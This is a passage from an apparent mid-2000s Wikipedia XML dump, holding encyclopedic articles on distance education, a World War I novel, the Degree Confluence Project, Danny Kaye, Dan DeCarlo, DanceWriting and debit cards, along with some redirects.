In Distance Education, students may not be required to be present in a classroom, but that also maybe a question of option. For example in the Open Universities in India, especially in the [[Indira Gandhi National Open University]], week end contact sessions are held. These are optional, but for certain courses which have practical components such as those for computers, attendance to the tune of about 90% is compulsory. The National Open University in India is based on the United Kingdom Open University model (though it is many years since the latter has done so). As for an electronic classroom or [[Virtual Learning Environment]], it may or not be a part of a distance education set up. Electronic classrooms can be both on campus, and off campus. We would call such institutions as using a 'flexible' delivery mode.

Distance Education may also use all forms of technology, from print to the computer. This range will include radio, television, audio video conferencing, computer aided instruction, [[e-learning]]/on-line learning et al. (E-learning/online-learning are largely synonymous). A distinction is also made between open learning and distance learning. To clarify our thinking we can say that while 'open' education is the system in which the student is free to choose the time and place, but distance education is a teaching methodology used when the student and teacher are separated by time and place.  Thus it follows that not all open-learning institutions use distance education and not all organisations that use distance education are open learning institutions.  Indeed there are many cases in which students are in traditional classrooms, connected via a video-conferencing link to a teacher in a distant classroom.  This method is typical in geographically dispersed institutions.

Distance Education has traversed four to five 'generations' of technology in its history. These are print, audio/video broadcasting, audio/video teleconferencing, computer aided instruction, e-learning/ online-learning, computer broadcasting/podcasting etc.  Yet the radio remains a very viable form, especially in the developing nations, because of its reach. In India the FM Channel is very popular and is being used by the national open university (the Indira Gandhi National Open University) and its consortia plus the state open universities, to broadcast educational programmes of variety on areas such as teacher education, rural development, programmes in agriculture for farmers, science education, creative writing, mass communication, in addition to traditional courses in liberal arts, science and business administration.

In short then, though a range of technology presupposes a distance education 'inventory' it is technological appropriateness and connectivity, such as computer, or for that matter electrical connectivity that should be considered, when we think of the world as a whole, while fitting in technological applications to distance education.

==Delivery systems==
Older models of distance education utilized regular mail to send written material, [[video]]s, [[audiotape]]s, and [[CD-ROM]]s or other media storage format (e.g. [[SDRAM]] or [[CompactFlash]] cards) to the student and to turn in the exercises. Today's distance education course makes use of [[E-mail]], the [[World Wide Web|Web]], and [[video conferencing]] over [[broadband]] network connections for both wired physical locations and wireless mobile learning. In some countries, the material is supplemented by [[television]] and [[radio]] programming.  To compete with the conventional sector, course material must be of very high quality and completeness, and will use modern technologies such as  [[educational animation]]. 

Full time or part-time study is possible, but most students choose part-time study. Research study is possible as well. Distance education is offered at all levels, but is most frequently an option for university-level studies.  A form of educational program which is similar to this but which requires some amount of presence during the year is a [[low-residency program]].

Distance education programs are sometimes called '''correspondence courses''', an older term that originated in nineteenth-century [[vocational education]] programs that were conducted through postal mail. This term has been largely replaced by ''distance education'', and expanded to encompass more sophisticated technologies and delivery methods.  The first subject taught by correspondence was the [[Pitman Shorthand]], a tool of [[stenography]].  [[Primary education|Primary]] and [[secondary education]] programs were also widely available by correspondence, usually for children living in remote areas.

==See also==
* [[Computer-assisted language learning|CALL]] A historical perspective: Computer-assisted language learning 
* [[Diploma mill]] While many distance education programs provide valuable instruction, others offer degrees with little requirements.
* [[Educational technology]]
* [[Efficient learning method]]
* [[European Association of Distance Teaching Universities]]
* [[Learning management system]]
* [[online learning]]
* [[E-learning glossary]]
* [[M-learning]]

==External links==
*[http://www.aacis.org/ AACIS]: American Association for Collegiate Independent Study
*[http://www.detc.org/ The Distance Education and Training Council] 
*[http://www.eadtu.nl European Association of Distance Teaching Universities] 
*[http://www-icdl.open.ac.uk/ ICDL] International Centre for Distance Learning from the Institute of Educational Technology and Library of the Open University
*[http://www.studyonline.com.au/ Distance Education Australia]: Online higher education portal Australia (AU)
*[http://www.posgradosmexico.com PosgradosMexico.com]: A portal for Online and Offline higher-education (Mexico)
*[http://www.usdla.org/ USDLA]: United States Distance Learning Association


[[Category:Alternative education]]
[[Category:Educational technology]]
[[Category:Learning]]
[[Category:School types]]
[[Category:Distance education|*]]

[[de:Fernunterricht]]
[[es:Educación a distancia]]
[[he:אוניברסיטה פתוחה]]
[[ja:遠隔教育]]
[[pt:Educação à distância]]
[[ru:Дистанционное обучение]]</text>
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  </page>
  <page>
    <title>Death of a Hero</title>
    <id>9000</id>
    <revision>
      <id>19568706</id>
      <timestamp>2005-07-25T11:51:52Z</timestamp>
      <contributor>
        <username>Lectonar</username>
        <id>128863</id>
      </contributor>
      <minor />
      <comment>restubbed</comment>
      <text xml:space="preserve">'''Death of a Hero''' is a [[World War I]] [[novel]] by [[Richard Aldington]]. It was his first novel, written in [[1929]], and thought to be partly [[autobiography|autobiographic]].

{{bio-book-stub}}

==External links==
* http://www.dundee.ac.uk/english/english/188.htm#abs1

[[Category:World War I novels]]</text>
    </revision>
  </page>
  <page>
    <title>Degree Confluence Project</title>
    <id>9001</id>
    <revision>
      <id>41326796</id>
      <timestamp>2006-02-26T16:35:08Z</timestamp>
      <contributor>
        <username>Sunny256</username>
        <id>45130</id>
      </contributor>
      <comment>+[[Category:GPS]]</comment>
      <text xml:space="preserve">[[Image:Confluence_point_53N_0.jpg|150px|right]]
The '''Degree Confluence Project''' is a [[World Wide Web]]-based project which aims to have people visit each of the [[integer]] [[Degree (angle)|degree]] intersections of [[latitude]] and [[longitude]] on [[Earth]], posting [[photograph]]s of each location online.

The precise location of each confluence is determined with [[Global Positioning System|GPS]] receivers. For a ''successful visit'', the visitor must get within 100 [[metre]]s of the confluence point (using the [[WGS 84]] datum), and post a narrative and at least two photographs to the project website.
A visit, or attempted visit, which does not conform to these rules may still be recorded on the website as an ''incomplete visit''. The project allows visits to confluence points which have been visited previously, and many confluence points in [[North America]] and [[Europe]] have been visited several times.

The total number of confluence points is 64,442{{ref|numberofpoints}}, of which 21,541 are on land, 38,411 on water, and 4,490 on the [[Arctic]] ice cap. The project divides these points into ''primary'' and ''secondary'' confluences. A confluence is primary only if it is on land or within sight of land. In addition, at high [[latitude]]s only some points are designated primary, because confluences crowd together near the [[Geographic pole|poles]]. Both primary and secondary confluences may be visited and recorded.

One way to think of the Degree Confluence Project is as a way of [[Sampling (statistics)|sampling]] the surface of the [[Earth]].

== Notes == 
&lt;div style=&quot;font-size: 85%&quot;&gt;
#{{note|numberofpoints}} Latitude lines 89°N to 89°S (179), multiplied by 360° of longitude (360), plus the two poles (2) = 179 &amp;times; 360 + 2 = 64,442.
&lt;/div&gt;

== See also ==
* [[Geocaching]]
* [[Geograph British Isles project]]

==External links==
* [http://www.confluence.org/ Degree Confluence Project website]

[[Category:Websites]]
[[Category:GPS]]

[[de:Degree Confluence Project]]
[[fr:Degree Confluence Project]]
[[zh:经纬汇合工程]]</text>
    </revision>
  </page>
  <page>
    <title>Danny Kaye</title>
    <id>9002</id>
    <revision>
      <id>40710295</id>
      <timestamp>2006-02-22T13:52:47Z</timestamp>
      <contributor>
        <ip>4.233.137.85</ip>
      </contributor>
      <comment>He was born with the last name 'Kaminsky' not 'Kaminski'</comment>
      <text xml:space="preserve">[[Image:Dannykaye1.jpg|thumb|250px|right|Kaye entertaining U.S. troops at [[U.S. Fleet Activities Sasebo|Sasebo, Japan]], 25 Oct 1945]]

'''Danny Kaye''' ([[January 18]], [[1913]] &amp;ndash; [[March 3]], [[1987]]) was an [[United States|American]] [[actor]], [[singer]] and [[comedian]].

Born to [[Jewish]] immigrants in [[Brooklyn]] as '''David Daniel Kaminsky''', red-haired Kaye became one of the world's best-known comedians.  In [[1941]] he appeared in the Broadway show, ''[[Lady in the Dark]]'' and performed the famous number &quot;[[Tchaikovsky (song)|Tchaikovsky]],&quot; by [[Kurt Weill]] and [[Ira Gershwin]], in which he sang the names of a whole string of [[Russia]]n composers at breakneck speed, seemingly without taking a breath. 

He was propelled to what today would be called superstardom in [[1948]] when he appeared at the [[London Palladium]] music hall. According to ''The New York Times'', he &quot;roused the Royal family to shrieks of laughter and was the first of many performers who have turned English variety into an American preserve.&quot; ''[[Life (magazine)|Life]]'' magazine described his reception as &quot;worshipful hysteria&quot; and noted that the royal family, for the first time in history, left the royal box to see the show from the front row of the orchestra. 

Kaye made his film debut in a [[1935]] comedy short subject  entitled ''Moon Over Manhattan'', although his feature film debut was ''[[Up in Arms]]'' ([[1944]]).  He starred in several movies with actress [[Virginia Mayo]] in the 1940's, and is well known for his roles in films such as ''[[The Secret Life of Walter Mitty]]'' ([[1947]]), ''[[The Inspector General]]'' ([[1949]]), ''[[White Christmas (film)|White Christmas]]'' ([[1954]]), ''[[Knock on Wood]]'' ([[1954]]), ''[[The Court Jester]]'' ([[1956]]), and ''[[Merry Andrew (film)|Merry Andrew]]'' ([[1958]]). Kaye starred in two pictures based on biographies, ''[[Hans Christian Andersen (film)|Hans Christian Andersen]]'' ([[1952]])  about the [[Denmark|Danish]] story-teller, and ''[[The Five Pennies]]'' ([[1959]]) about [[jazz]] pioneer [[Red Nichols]]. Several of his films included the theme of doubles, two people who look identical (both played by Danny kaye) being mistaken for each other, to comic effect.

Kaye worked regularly in television in the [[1960s]] and beyond.  
He hosted his own variety hour on [[CBS]], ''[[The Danny Kaye Show]]'', from [[1963]] to [[1967]]. Kaye also did a stint as one of the [[What's My Line? Mystery Guests]] on the popular Sunday Night CBS-TV program. Later, Kaye also served as a guest panelist on that quiz show. Years later, Kaye also guest-starred in episodes of ''[[The Cosby Show]]'' and of the 1980's remake of  ''[[The Twilight Zone]]''. 

Kaye's influence was felt beyond the entertainment world in the world of professional sports as well.  Kaye was the original owner of the [[Seattle Mariners]] along with his partner Lester Smith, from 1977 - 81.

Kaye also acted in a [[pantomime]] production of ''[[Cinderella]]'', in [[Sydney]],[[New South Wales]], [[Australia]], during the [[1950]]'s, where he played the role of &quot;''[[Buttons (pantomime)|Buttons]]''&quot;, Cinderella's stepfather's servant, and also  Cinderella's friend.

In many of his movies, as well as on stage, Kaye proved to be an able actor, singer, dancer and comedian, often having his comedic talents showcased by special material written by his wife, [[Sylvia Fine]]. He showed quite a different and serious side as Ambassador for [[UNICEF]], and in one of his few dramatic roles in the memorable TV-movie ''[[Skokie]],'' in which he played a [[the Holocaust|Holocaust]] survivor. Before he died in [[1987]], Kaye also demonstrated his ability to conduct an orchestra during a comical, but technically sound, series of concerts organised for [[UNICEF]] fundraising.  Kaye received two [[Academy award]]s, an [[Academy Honorary Award|honorary award]] in [[1955]] and [[the Jean Hersholt Humanitarian Award]] in [[1982]].

[[Joan Plowright]], widow of the actor [[Laurence Olivier]], claimed that Olivier had a long [[homosexuality|homosexual]] relationship with Kaye while Olivier was still married to his second wife, [[Vivien Leigh]]. Kaye's widow denied these rumors.

Kaye died in [[1987]] from a [[heart attack]], following a bout of [[hepatitis]]. He left a widow [[Sylvia Fine]] and a daughter Dena. He is interred in the [[Kensico Cemetery]] in [[Valhalla, New York]]. 

==Filmography==
*''[[Moon Over Manhattan]]'' ([[1935]]) (short subject)
*''[[Dime a Dance]]'' ([[1937]]) (short subject)
*''[[Money On Your Life]]'' ([[1938]]) (short subject)
*''[[Getting an Eyeful]]'' ([[1938]]) (short subject)
*''[[Cupid Takes a Holiday]]'' ([[1938]]) (short subject)
*''[[Up in Arms]]'' ([[1944]])
*''[[Wonder Man (film)|Wonder Man]]'' ([[1945]])
*''[[The Kid from Brooklyn]]'' ([[1946]])
*''[[The Secret Life of Walter Mitty]]'' ([[1947]])
*''[[Screen Snapshots: Out-of-This-World Series]]'' ([[1947]]) (short subject)
*''[[A Song Is Born]]'' ([[1948]])
*''[[It's a Great Feeling]]'' ([[1949]]) (Cameo)
*''[[The Inspector General]]'' ([[1949]])
*''[[On the Riviera]]'' ([[1951]])
*''[[Hans Christian Andersen (film)|Hans Christian Andersen]]'' ([[1952]])
*''[[Assignment Children]]'' ([[1954]]) (short subject)
*''[[Knock on Wood]]'' ([[1954]])
*''[[Screen Snapshots: Hula from Hollywood]]'' ([[1954]]) (short subject)
*''[[White Christmas (film)|White Christmas]]'' ([[1954]])
*''[[Screen Snapshots: Hollywood Beauty]]'' ([[1955]]) (short subject)
*''[[Screen Snapshots: Playtime in Hollywood]]'' ([[1956]]) (short subject)
*''[[The Court Jester]]'' ([[1956]])
*''[[Merry Andrew (film)|Merry Andrew]]'' ([[1958]])
*''[[Me and the Colonel]]'' ([[1958]])
*''[[The Five Pennies]]'' ([[1959]])
*''[[The Millionairess]]'' ([[1960]]) (Cameo)
*''[[On The Double]]'' ([[1961]])
*''[[The Man from the Diner's Club]]'' ([[1963]])
*''[[The Madwoman of Chaillot]]'' ([[1969]])

==References==
*&quot;Parnell of the Palladium,&quot; Willi Frischauer, Oct. 24, 1948, p. X3. The London Palladium and Kaye's reception.
*[http://www.angelfire.com/film/dannykaye/DannyKaye_biography.htm Danny Kaye] bio, quotes ''Life'' magazine.
{{Commons|Danny Kaye}}

[[Category:1913 births|Kaye, Danny]]
[[Category:1987 deaths|Kaye, Danny]]
[[Category:American stage actors|Kaye, Danny]]
[[Category:American television actors|Kaye, Danny]]
[[Category:Baseball executives|Kaye, Danny]]
[[Category:Bisexual actors|Kaye, Danny]]
[[Category:Brooklynites|Kaye, Danny]]
[[Category:Film actors|Kaye, Danny]]
[[Category:Jewish American actors|Kaye, Danny]]
[[Category:Jewish American comedians|Kaye, Danny]]
[[Category:Presidential Medal of Freedom recipients|Kaye, Danny]]
[[Category:Seattle Mariners|Kaye, Danny]]
[[Category:Vaudeville performers|Kaye, Danny]]

[[da:Danny Kaye]]
[[de:Danny Kaye]]
[[es:Danny Kaye]]
[[he:דני קיי]]
[[nl:Danny Kaye]]
[[nn:Danny Kaye]]
[[fi:Danny Kaye]]
[[sv:Danny Kaye]]</text>
    </revision>
  </page>
  <page>
    <title>Dan DeCarlo</title>
    <id>9003</id>
    <revision>
      <id>38551600</id>
      <timestamp>2006-02-07T01:44:40Z</timestamp>
      <contributor>
        <ip>24.110.113.180</ip>
      </contributor>
      <comment>fmt</comment>
      <text xml:space="preserve">[[Image:SherryShowgirl1.jpg|right|210px|thumb|''Sherry the Showgirl'' #2 (Sept. 1956): A lesser-known series and a rarely seen Dan DeCarlo cover.]]
'''Daniel S. DeCarlo''' ([[12 December]], [[1919]], [[New Rochelle]], [[New York]] - [[19 December]], [[2001]], New Rochelle, New York) was an [[United States|American]] [[cartoonist]] best known as the [[artist]] who developed the look of [[Archie Comics]] in the late [[1950s]] and early [[1960s]], modernizing the characters to their contemporary appearance and establishing the publisher's house style. As well, he is the generally recognized creator of [[Sabrina the Teenage Witch]], [[Josie and the Pussycats]] (with the lead character named for his wife), and [[Cheryl Blossom]]. 

Previous to this he had a remarkable 10-year run on the humor title ''[[Millie the Model]]'' for [[Marvel Comics]]' 1950s predecessor, [[Atlas Comics (1950s)|Atlas Comics]], writing and drawing the [[slapstick]]y adventures of Millie Collins, her redheaded friendly nemesis Chili Storm and the rest of cast from #18-93 (June 1949 - Nov. 1959). DeCarlo also contributed the short-lived ''Sherry the Showgirl'' and ''Showgirls'' for Atlas.

DeCarlo attended New Rochelle High School and [[Manhattan]]'s [[Art Students League]] from [[1938]] to [[1941]], when he was drafted into the [[U.S. Army]]. Stationed in [[Great Britain]], he worked in the motor pool and as a draftsman, and painted company mascots on the noses of airplanes. He also drew a weekly [[military]] [[comic strip]]. He met his future wife, [[France|French]] citizen Josie Dumont, in [[Belgium]] after the [[Battle of the Bulge]].

In addition to his comic-book work, DeCarlo drew freelance pieces for the [[magazines]] ''[[The Saturday Evening Post]]'' and ''[[Argosy Magazine|Argosy]]'', as well as publisher [[Martin_Goodman_(publisher)|Martin Goodman]]'s [[Humorama]] line of [[pin-up girl]] cartoon digests. Many of his Humorama illustrations were published in ''The Pin-up Art of Dan DeCarlo'' ([[Fantagraphics]], 2005; ISBN 1560976195) and the scheduled ''Innocence and Seduction: The Art of Dan DeCarlo'' (Fantagraphics, March 1, 2006; ISBN 1560977108).

In his later years he was involved in a bitter legal dispute with Archie Comics over ownership of Josie and the Pussycats characters, which were to be featured in the ''[[Josie and the Pussycats (movie)|Josie and the Pussycats]]'' movie released in 2001 by [[MCA/Universal]]. In the midst of the dispute, the publisher terminated its 40-year relationship with him. Among his final works were a story for [[Paul Dini]]'s independent comics title ''[[Jingle Belle]]'', and stories for [[Bongo Comics]]' ''[[The Simpsons]]'' [[TV series|TV]] tie-in comic, ''[[Bart Simpson]]''.

DeCarlo, who lived near New Rochelle in [[Scarsdale, New York]], died of [[pneumonia]], according to his wife. Some press reports listed [[heart attack]]. He was predeceased by his twin sons, Dan Jr. and Jim, who assisted their father as [[inkers]].

His work over the years won him much recognition in the industry.  He won the [[National Cartoonists Society]] Award for Best Comic Book in 2000 for [[Betty &amp; Veronica]].  He was nominated for the Shazam Award for Best Penciller (Humor Division) in 1974.

==Quotes==
*Josie DeCarlo, on the inspiration for the fictional Josie [http://www.thecomicsource.com/news/news19.html]: &quot;We went on a [[Caribbean]] cruise, and I had a [cat] costume for the cruise, and that's the way it started.&quot;

*Paul Dini [http://www.comicbookresources.com/news/newsitem.cgi?id=731]: &quot;&quot;It was tragic that when he was at an age when many cartoonists are revered as treasures by more beneficent publishers, Dan felt spurned and slighted by the owners of properties that prospered greatly from his contributions. Still, he was esteemed by fans and professionals the world over, and he often told me he was very grateful for the support he received from them over the past few years.&quot;

==References==
*[http://www.lambiek.net/carlo_dan_de.htm Lambiek Comiclopedia: Dan De Carlo (sic)]
*[http://www.askart.com/askart/d/dan_decarlo/dan_decarlo.aspx Ask Art — The American Artists Bluebook: Dan DeCarlo (1919-2001)] Includes excerpt from ''[[The New York Times]]'' obituary
*[http://www.thecomicsource.com/news/news19.html ''Comic Source Newsletter'' #19: Uncredited partial reprint of ''The New York Times'' obituary]
*[http://www.comicbookresources.com/news/newsitem.cgi?id=731 ''Comic Book Resources'' Dec. 20, 2001: Obituary]
*[http://members.cox.net/adult/pristine/magstitlelist/humorlist.html Humorama]
*[http://www.tcj.com/3_online/n_030800.html ''The Comics Journal'' #221: &quot;Girl Trouble at Archie&quot;]
*[http://www.tcj.com/aa02ws/n_decarlo.html The Comics Journal'' #240: &quot;Supreme Court Rejects DeCarlo Appeal&quot;]
*[http://www.the-trades.com/article.php?id=1645 ''The Trades'', Jan. 1, 2002: Interview with Dan DeCarlo]
*[http://seattleguild.org/News_Archive/2004621_Folder/] ''The Seattle Graphic Artists Guild Weekly eNewsletter'': &quot;Advocacy News: DeCarlo Sues Archie Comics''

==External links==
*[http://www.toonopedia.com/archie.htm Don Markstein's Toonpedia: Archie]
*[http://pages.tias.com/2779/InventoryPage/305956/1.html Tribute to Dan DeCarlo, by Ben Smith]
* [http://users.rcn.com/aardy/comics/] Comic Book Awards Almanac

[[Category:1919 births|Decarlo, Dan]]
[[Category:2001 deaths|Decarlo, Dan]]
[[Category:Comics artists|Decarlo, Dan]]</text>
    </revision>
  </page>
  <page>
    <title>Doges Palace</title>
    <id>9004</id>
    <revision>
      <id>15906932</id>
      <timestamp>2002-10-13T22:09:03Z</timestamp>
      <contributor>
        <username>Nevilley</username>
        <id>4191</id>
      </contributor>
      <minor />
      <comment>lose dual redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Doge's Palace]]</text>
    </revision>
  </page>
  <page>
    <title>Database application</title>
    <id>9005</id>
    <revision>
      <id>15906933</id>
      <timestamp>2003-09-27T01:29:07Z</timestamp>
      <contributor>
        <username>TakuyaMurata</username>
        <id>6707</id>
      </contributor>
      <comment>#REDIRECT [[database]]</comment>
      <text xml:space="preserve">#REDIRECT [[database]]</text>
    </revision>
  </page>
  <page>
    <title>Daniel Ortega Saavedra</title>
    <id>9006</id>
    <revision>
      <id>15906934</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Daniel Ortega]]
</text>
    </revision>
  </page>
  <page>
    <title>DanceWriting</title>
    <id>9007</id>
    <revision>
      <id>40363058</id>
      <timestamp>2006-02-20T01:47:37Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''DanceWriting''' is a form of [[dance notation]]. Developed in [[1972]] by [[Valerie Sutton]], it is part of a greater body of work called [[MovementWriting]] or the [[International Movement-Writing Alphabet]].

DanceWriting uses [[figurative]] and [[Abstract art|abstract]] [[symbols]] on a five-staff stave (the [[Western culture|Western]] [[music notation]] stave). It is similar in appearance to [[Benesh Movement Notation]].

There are many other forms of dance notation, such as [[Labanotation]] and [[Benesh Movement Notation]].

==External links==
*[http://www.dancewriting.org DanceWriting]
*[http://www.movementwriting.org/ MovementWriting]

{{dance-stub}}
[[Category:Dance notation]]</text>
    </revision>
  </page>
  <page>
    <title>Debit card</title>
    <id>9008</id>
    <revision>
      <id>40844856</id>
      <timestamp>2006-02-23T10:52:11Z</timestamp>
      <contributor>
        <ip>67.165.172.102</ip>
      </contributor>
      <text xml:space="preserve">A '''debit card''' is an [[ISO 7810]] card which physically resembles a [[credit card]], and, like a credit card, is used as an alternative to [[cash]] when making purchases. However, when purchases are made with a debit card, the funds are withdrawn directly from the purchaser's current/[[checking account|checking]] or [[savings account|savings]] account at a [[bank]] or [[credit union]]. 

==Types of debit card==
[[Image:Smartcard.JPG|thumb|250px|A [[Finland|Finnish]] [[smart card]], combining both [[credit card]] and debit card properties. The 3 by 5 mm security chip embedded in the card is shown enlarged in the inset. The gold contact pads on the card enables electronic access to the chip.]]

Although many debit cards are of the [[Visa (credit card)|Visa]] or [[MasterCard]] brand, there are many other types of debit card, each accepted only within a particular country or region, for example [[Switch (debit card)|Switch]] in the [[United Kingdom]], [[Carte Bleue]] in [[France]], [[Laser (debit card)|Laser]] in [[Ireland]], and EC (formerly Eurocheque) in [[Germany]], [[Switzerland]] and [[Austria]]. The need for cross-border compatibility and the advent of the [[euro]] recently led to many of these card networks being rebranded with the internationally recognised [[Maestro (debit card)|Maestro]] logo, which is part of the [[MasterCard]] brand. Some debit cards are dual branded with the logo of the former national card as well as [[Maestro (debit card)|Maestro]].

Banks in [[France]] charge annual fees for debit cards (despite card payments being very cost efficient for the banks), yet they do not charge personal customers for chequebooks or processing cheques (despite cheques being very costly for the banks). This imbalance most probably dates from the unilateral introduction in [[France]] of [[Chip and PIN]] debit cards in the early 1990s, when the cost of this technology was much higher than it is now. Credit cards of the type found in the [[United Kingdom]] and [[United States]] are unusual in [[France]] and the closest equivalent is the deferred debit card, which operates like a normal debit card, except that all purchase transactions are postponed until the end of the month, thereby giving the customer between 1 and 31 days of interest-free credit. The annual fee for a deferred debit card is around €10 more than for one with immediate debit. Most [[France|French]] debit cards are branded with the [[Carte Bleue]] logo, which assures acceptance throughout [[France]]. Most card holders choose to pay around €5 more in their annual fee to additionally have a [[Visa (credit card)|Visa]] logo on their [[Carte Bleue]], so that the card is accepted internationally. A [[Carte Bleue]] without a [[Visa (credit card)|Visa]] logo is often known as a &quot;[[Carte Bleue]] Nationale&quot; and a [[Carte Bleue]] with a [[Visa (credit card)|Visa]] logo is often known as a &quot;[[Carte Bleue]] Internationale&quot;. Many smaller merchants in [[France]] refuse to accept debit cards for transactions under €15.25 (equivalent to 100 [[French Franc]]s) because of the minimum fee charged by merchants' banks per transaction. Merchants in [[France]] do not differentiate between debit and credit cards, and so both have equal acceptance.

In the [[United Kingdom]], banks started to issue debit cards in the late 1980s in a bid to reduce the number of cheques being used at the point of sale, which are costly for the banks to process. As in most countries, fees paid by merchants in the [[United Kingdom]] to accept credit cards are a percentage of the transaction amount, which funds card holders' interest-free credit periods as well as incentive schemes such as points, airmiles or cashback. On the contrary, debit cards do not usually have these characteristics, and so the fee for merchants to accept debit cards is a low fixed amount, regardless of transaction amount. This means it is cheaper for a merchant to accept a debit card for a large amount and to accept a credit card for a small amount. Although merchants won the right through [http://www.opsi.gov.uk/si/si1990/Uksi_19902159_en_1.htm The Credit Cards (Price Discrimination) Order 1990] to charge customers different prices according to the payment method, few merchants in the UK charge less for payment by debit card than by credit card, the most notable exceptions being [[budget airline]]s, [[travel agent]]s and [[IKEA]]. Debit cards in the UK lack the advantages offered to holders of UK-issued credit cards, such as free incentives (points, airmiles, cashback etc), interest-free credit and protection against defaulting merchants under [http://www.oft.gov.uk/NR/rdonlyres/DB431C9A-F28B-488A-B4C7-58C51C045169/0/oft303.pdf Section 75 of the Consumer Credit Act 1974]. Despite these disadvantages of debit cards over credit cards, many people in the UK prefer paying with debit cards rather than credit cards, often because they fear that using credit cards will result in accumulation of unmanageable debts. All establishments in the [[United Kingdom]] that accept credit cards also accept debit cards (although not always [[Solo (debit card)|Solo]] and [[Visa Electron]]), but a minority of merchants, for cost reasons, accept debit cards and not credit cards (for example the [[Post Office Ltd|Post Office]]).

In [[Germany]] and [[Belgium]], many merchants, including most supermarkets, do not accept credit cards because of the higher fees charged by their banks. However, most merchants usually accept debit cards, because the fees for accepting them are much lower, for example in [[Germany]] 0.3% with a minimum of €0.08.

==Online and offline debit cards==
There are currently two ways that debit card transactions are processed: online debit cards and offline debit cards. Online debit cards are essentially enhanced [[automatic teller machine]] [[ATM card|(ATM) cards]], as they use the same [[personal identification number]] (PIN) [[authentication]] system and debits are reflected in the user’s account immediately. The PIN authentication is much more secure than the alternative signature (used in offline debit cards). One difficulty in using online debit cards is the necessity of a separate [[keyboard technology|keypad]] at the [[point of sale]] (POS) to enter the PIN, although this is becoming commonplace for all card transactions in many countries. Overall, the online debit card is generally viewed as superior to the offline debit card because of its more secure authentication system and live status, which alleviates problems with processing [[lag]] on transactions that may have been forgotten or not authorized by the owner of the card. Banks in some countries, such as [[Canada]], only issue online debit cards.

Offline debit cards have the [[logo]]s of major credit cards (e.g. [[VISA (credit card)|Visa]] or [[MasterCard]]) or major debit cards (e.g. [[Maestro (debit card)|Maestro]]) and are used at point of sale like a credit card. This type of debit card may be subject to a daily limit, as well as a maximum limit equal to the amount currently deposited in the current/checking account from which it draws funds. Offline debit cards in some countries are not compatible with the PIN system, in which case they can be used with a forged signature, since users are rarely required to present [[personal identification|identification]]. Transactions conducted with offline debit cards usually require 2-3 days to be reflected on users’ account balances. This type of debit card is similar to a [[secured credit card|secured credit card]].

Many debit cards are actually capable of accomplishing both types of transactions, depending on the availability of proper equipment at the POS.

In the [[United Kingdom]], [[Solo (debit card)|Solo]] and [[Visa Electron]] are examples of online debit cards, which are typically issued by banks to customers whom the bank does not want to go overdrawn under any circumstances, for example under-18s.

==&quot;Credit&quot; and &quot;debit&quot; purchases==
In some countries (e.g. the [[United States]]), terminals allow the user of a Visa or MasterCard debit card to choose whether the purchase is a &quot;credit&quot; or &quot;debit&quot; purchase. In a &quot;credit&quot; purchase, the user signs a charge slip (as in a traditional credit card purchase); in a &quot;debit&quot; purchase, the user enters a PIN. In either case, the user's bank account is debited. 

In some countries and with some merchant service organisations (as of this writing), a &quot;credit&quot; transaction is without cost to the purchaser beyond the face value of the transaction, while a small fee may be charged for &quot;debit&quot; transactions (although it is often absorbed by the [[retailer]].) Other differences are that &quot;debit&quot; purchasers may opt to withdraw cash in addition to the amount of the debit purchase (if the merchant supports that functionality); also, from the merchant's standpoint, the merchant pays lower fees on a &quot;debit&quot; transaction as compared to &quot;credit&quot; transactions.  

The fees charged to merchants on &quot;credit&quot; debit card purchases -- and the lack of fees charged merchants for processing &quot;debit&quot; debit card purchases and paper checks -- have prompted some major merchants to file [[lawsuit]]s against debit-card transaction processors such as Visa and MasterCard.  Visa and MasterCard recently agreed to settle the largest of these lawsuits and agreed to [[settlement (law)|settlement]]s of billions of dollars.

Many consumers prefer &quot;credit&quot; transactions because of the lack of a fee charged to the consumer/purchaser -- and many terminals at PIN-accepting merchant locations now make the &quot;credit&quot; function more difficult to access.  Also, in the case of a benign or malicious error by the merchant and/or bank, a debit transaction may cause more serious problems (e.g. money not accessible; overdrawn account) than in the case of a credit or charge card transaction (e.g. credit not accessible; over [[credit limit]]).  

To the consumer, a debit transaction is real-time; i.e. the money is withdrawn from their account immediately following the authorization request from the merchant. This is in contrast to a typical credit card or charge card transaction which can have a lag time of a few days before the transaction is posted to the account, and many days to a month or more before the consumer makes repayment with actual money.

==[[Chip and PIN]]==
In many countries, the use of PIN validated transactions with [[smartcard]] [[chip]] [[reader]]s is being strongly encouraged by the banks as a method of reducing cloned-card [[fraud]]; to the extent that cardholder-present transactions will soon not be possible in these countries without knowledge of a PIN, and the POS terminal reading the smart card chip on the card.

==Popularity==
Debit cards and [[secured credit card]]s are popular among college students who have not yet established a credit history.  There are also forms of debit cards (e.g. [[Visa Buxx]]) that are purchased by parents for [[teenager]]s as young as 13.  The parent retains a great deal of control over the child's use of the cards.

Debit cards are also similar to [[stored-value card]]s in that they represent a finite amount of money owed by the card issuer to the holder.  They are different in that stored-value cards are generally anonymous, while debit cards are generally associated with an individual's bank account.  Debit cards usually offer some protection against loss, theft, or unauthorized use while stored-value cards usually do not.

==See also==
*[[EFTPOS]]
*[[Interac]]
*[[Laser (debit card)]]
*[[Maestro (debit card)]]
*[[Solo (debit card)]]
*[[Switch (debit card)]]
*[[Visa Delta]]
*[[Visa Electron]]

[[Category:Payment systems]]
[[Category:Debit cards|*]]

[[de:Scheckkarte]]
[[it:Carta di debito]]
[[lt:Debeto kortelė]]
[[ja:デビットカード]]
[[pl:Karta kredytowa]]
[[fi:Pankkikortti]]</text>
    </revision>
  </page>
  <page>
    <title>Dewar flask</title>
    <id>9009</id>
    <revision>
      <id>40230387</id>
      <timestamp>2006-02-19T02:52:17Z</timestamp>
      <contributor>
        <username>Vicarious</username>
        <id>386031</id>
      </contributor>
      <comment>added image</comment>
      <text xml:space="preserve">{{merge|Vacuum flask}}
[[Image:Dewar Flask.PNG|256px|right|thumb|A dewar flask, the red area is a [[vacuum]]]]

